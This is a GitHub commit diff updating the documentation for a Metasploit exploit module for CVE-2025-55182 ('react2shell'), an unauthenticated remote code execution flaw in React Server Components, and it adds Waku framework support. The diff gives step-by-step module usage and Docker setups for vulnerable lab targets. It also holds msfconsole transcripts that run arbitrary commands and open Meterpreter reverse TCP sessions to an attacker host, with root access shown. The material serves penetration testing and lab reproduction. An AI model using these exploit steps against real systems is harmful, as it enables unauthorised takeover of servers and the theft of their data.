Skip to content

Commit b9be6ac

Browse files
authored
Merge pull request #20785 from Chocapikk/react2shell-clean
Update react2shell module: Add Waku framework support
2 parents 0e9b938 + 0583a4c commit b9be6ac

File tree

2 files changed

+331
-69
lines changed

2 files changed

+331
-69
lines changed

documentation/modules/exploit/multi/http/react2shell_unauth_rce_cve_2025_55182.md

Lines changed: 191 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -5,9 +5,26 @@ Components (RSC) Flight protocol. The vulnerability allows attackers to achieve
55
pollution during deserialization of RSC payloads by sending specially crafted multipart
66
requests with "__proto__", "constructor", or "prototype" as module names.
77

8+
This module supports multiple vulnerable frameworks including **Next.js** and **Waku**.
9+
10+
## Verification Steps
11+
12+
1. Start `msfconsole`
13+
2. `use multi/http/react2shell_unauth_rce_cve_2025_55182`
14+
3. `set RHOSTS <target_ip>`
15+
4. `set RPORT <target_port>`
16+
5. `set TARGET <target_id>` (0 for Next.js - Unix Command, 1 for Next.js - Windows Command,
17+
2 for Waku - Unix Command, 3 for Waku - Windows Command)
18+
6. `set PAYLOAD <payload>`
19+
7. `run`
20+
21+
## Options
22+
23+
This module does not require any additional options beyond the standard HTTP client options.
24+
825
## Testing
926

10-
### Linux
27+
### Next.js - Linux
1128

1229
1. Open `data\exploits\react2shell_unauth_rce_cve_2025_55182` directory
1330
2. Build
@@ -20,7 +37,7 @@ docker run -p 3000:3000 react2shell
2037
```
2138
4. Open http://127.0.0.1:3000/ and make sure the app is available
2239

23-
### Windows
40+
### Next.js - Windows
2441

2542
1. Download and install Node.js https://nodejs.org/en/download
2643
2. Open `data\exploits\react2shell_unauth_rce_cve_2025_55182` directory
@@ -34,41 +51,192 @@ npm start
3451
```
3552
5. Open http://127.0.0.1:3000/ and make sure the app is available
3653

37-
## Scenario
54+
### Waku - Linux
55+
56+
**Dockerfile:**
57+
58+
```dockerfile
59+
FROM node:20-slim
60+
61+
# Install dependencies
62+
RUN apt-get update && apt-get install -y expect socat netcat-traditional bash wget curl && rm -rf /var/lib/apt/lists/*
3863

39-
### Linux
64+
WORKDIR /tmp
65+
66+
# Create Waku project non-interactively
67+
RUN npx --yes create-waku@0.12.4-0.26.0-alpha.2-0 --project-name waku-project
68+
69+
# Move project to /app
70+
RUN mv waku-project /app
71+
72+
WORKDIR /app
73+
74+
EXPOSE 3001
75+
```
76+
77+
**docker-compose.yml:**
78+
79+
```yaml
80+
services:
81+
waku:
82+
build: .
83+
container_name: waku-vuln
84+
ports:
85+
- "3001:3001"
86+
environment:
87+
- NODE_ENV=development
88+
command: sh -c "npm run dev & sleep 5 && exec socat TCP-LISTEN:3001,fork,reuseaddr TCP:[::1]:3000"
89+
```
90+
91+
**Setup:**
92+
93+
1. Build and start the lab:
94+
```
95+
docker compose up -d --build
96+
```
97+
3. Wait for the container to initialize (Waku dev server starts on port 3000, proxied via socat to port 3001)
98+
4. Verify the service is running:
99+
```
100+
curl http://127.0.0.1:3001
101+
```
102+
103+
## Scenarios
104+
105+
### Next.js - Linux
106+
107+
**Example 1: Simple Command Execution**
40108

41109
```
42110
msf6 > use multi/http/react2shell_unauth_rce_cve_2025_55182
43-
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
44-
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 172.17.0.1
45-
RHOSTS => 172.17.0.1
46-
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3000
47-
RPORT => 3000
48-
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LPORT 6666
49-
LPORT => 6666
50-
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set FETCH_SRVPORT 8081
51-
FETCH_SRVPORT => 8081
111+
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
112+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 127.0.0.1
113+
RHOSTS => 127.0.0.1
114+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3011
115+
RPORT => 3011
116+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set TARGET 0
117+
TARGET => 0
118+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set PAYLOAD cmd/unix/generic
119+
PAYLOAD => cmd/unix/generic
120+
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set CMD "touch /tmp/nextjs_test.txt"
121+
CMD => touch /tmp/nextjs_test.txt
52122
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
53-
[*] Started reverse TCP handler on 172.17.0.1:6666
54123
[*] Running automatic check ("set AutoCheck false" to disable)
55124
[+] The target appears to be vulnerable.
56-
[*] Sending stage (3045380 bytes) to 172.17.0.2
57-
[*] Meterpreter session 4 opened (172.17.0.1:6666 -> 172.17.0.2:59608) at 2025-12-05 01:12:48 -0500
58-
meterpreter > getuid
59-
Server username: root
60-
meterpreter > sysinfo
125+
[*] Exploit completed, but no session was created.
126+
```
127+
128+
Verify execution:
129+
```
130+
docker exec react-rsc-vulnerable ls -la /tmp/nextjs_test.txt
131+
-rw-r--r-- 1 nextjs nogroup 0 Dec 17 20:37 /tmp/nextjs_test.txt
132+
```
133+
134+
**Example 2: Meterpreter Reverse Shell**
135+
136+
```
137+
msf > use multi/http/react2shell_unauth_rce_cve_2025_55182
138+
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
139+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 127.0.0.1
140+
RHOSTS => 127.0.0.1
141+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3011
142+
RPORT => 3011
143+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set TARGET 0
144+
TARGET => 0
145+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
146+
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
147+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LHOST 172.17.0.1
148+
LHOST => 172.17.0.1
149+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LPORT 4444
150+
LPORT => 4444
151+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set FETCH_SRVPORT 9000
152+
FETCH_SRVPORT => 9000
153+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
154+
[*] Started reverse TCP handler on 172.17.0.1:4444
155+
[*] Running automatic check ("set AutoCheck false" to disable)
156+
[+] The target appears to be vulnerable.
157+
[*] Sending stage (3090404 bytes) to 172.17.0.2
158+
[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:35140) at 2025-12-17 22:09:40 +0100
159+
160+
meterpreter > sysinfo
61161
Computer : 172.17.0.2
62-
OS : (Linux 6.11.2-amd64)
162+
OS : Debian 12.12 (Linux 6.14.0-116036-tuxedo)
63163
Architecture : x64
64164
BuildTuple : x86_64-linux-musl
65165
Meterpreter : x64/linux
66166
```
67167

68-
### Windows
168+
169+
### Waku - Linux
170+
171+
**Example 1: Simple Command Execution**
69172

70173
```
71-
msf6 > use multi/http/react2shell_unauth_rce_cve_2025_55182_scanner
174+
msf > use multi/http/react2shell_unauth_rce_cve_2025_55182
175+
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
176+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 127.0.0.1
177+
RHOSTS => 127.0.0.1
178+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3001
179+
RPORT => 3001
180+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set TARGET 2
181+
TARGET => 2
182+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set PAYLOAD cmd/unix/generic
183+
PAYLOAD => cmd/unix/generic
184+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set CMD "touch /tmp/waku_exploit_test.txt"
185+
CMD => touch /tmp/waku_exploit_test.txt
186+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set ForceExploit true
187+
ForceExploit => true
188+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
189+
[*] Running automatic check ("set AutoCheck false" to disable)
190+
[!] Cannot reliably check exploitability. Waku blind RCE - cannot reliably check without command execution ForceExploit is enabled, proceeding with exploitation.
191+
192+
[*] Exploit completed, but no session was created.
193+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) >
194+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > docker exec waku-vuln ls -la /tmp/waku_exploit_test.txt
195+
[*] exec: docker exec waku-vuln ls -la /tmp/waku_exploit_test.txt
196+
197+
-rw-r--r-- 1 root root 0 Dec 17 20:35 /tmp/waku_exploit_test.txt
198+
```
199+
200+
**Example 2: Meterpreter Reverse Shell**
201+
202+
```
203+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > use multi/http/react2shell_unauth_rce_cve_2025_55182
204+
[*] Using configured payload cmd/unix/generic
205+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 127.0.0.1
206+
RHOSTS => 127.0.0.1
207+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RPORT 3001
208+
RPORT => 3001
209+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set TARGET 2
210+
TARGET => 2
211+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
212+
PAYLOAD => cmd/linux/http/x64/meterpreter/reverse_tcp
213+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LHOST 172.18.0.1
214+
LHOST => 172.18.0.1
215+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set LPORT 4444
216+
LPORT => 4444
217+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set FETCH_SRVPORT 9000
218+
FETCH_SRVPORT => 9000
219+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set ForceExploit true
220+
ForceExploit => true
221+
msf exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > run
222+
[*] Started reverse TCP handler on 172.18.0.1:4444
223+
[*] Running automatic check ("set AutoCheck false" to disable)
224+
[!] Cannot reliably check exploitability. Waku blind RCE - cannot reliably check without command execution ForceExploit is enabled, proceeding with exploitation.
225+
[*] Sending stage (3090404 bytes) to 172.18.0.2
226+
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:56806) at 2025-12-17 21:36:15 +0100
227+
228+
meterpreter > sysinfo
229+
Computer : 172.18.0.2
230+
OS : Debian 12.12 (Linux 6.14.0-116036-tuxedo)
231+
Architecture : x64
232+
BuildTuple : x86_64-linux-musl
233+
Meterpreter : x64/linux
234+
```
235+
236+
### Next.js - Windows
237+
238+
```
239+
msf6 > use multi/http/react2shell_unauth_rce_cve_2025_55182
72240
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
73241
msf6 exploit(multi/http/react2shell_unauth_rce_cve_2025_55182) > set RHOSTS 192.168.19.137
74242
RHOSTS => 192.168.19.137
@@ -103,4 +271,4 @@ Domain : WORKGROUP
103271
Logged On Users : 1
104272
Meterpreter : x64/windows
105273
meterpreter >
106-
```
274+
```

0 commit comments

Comments
 (0)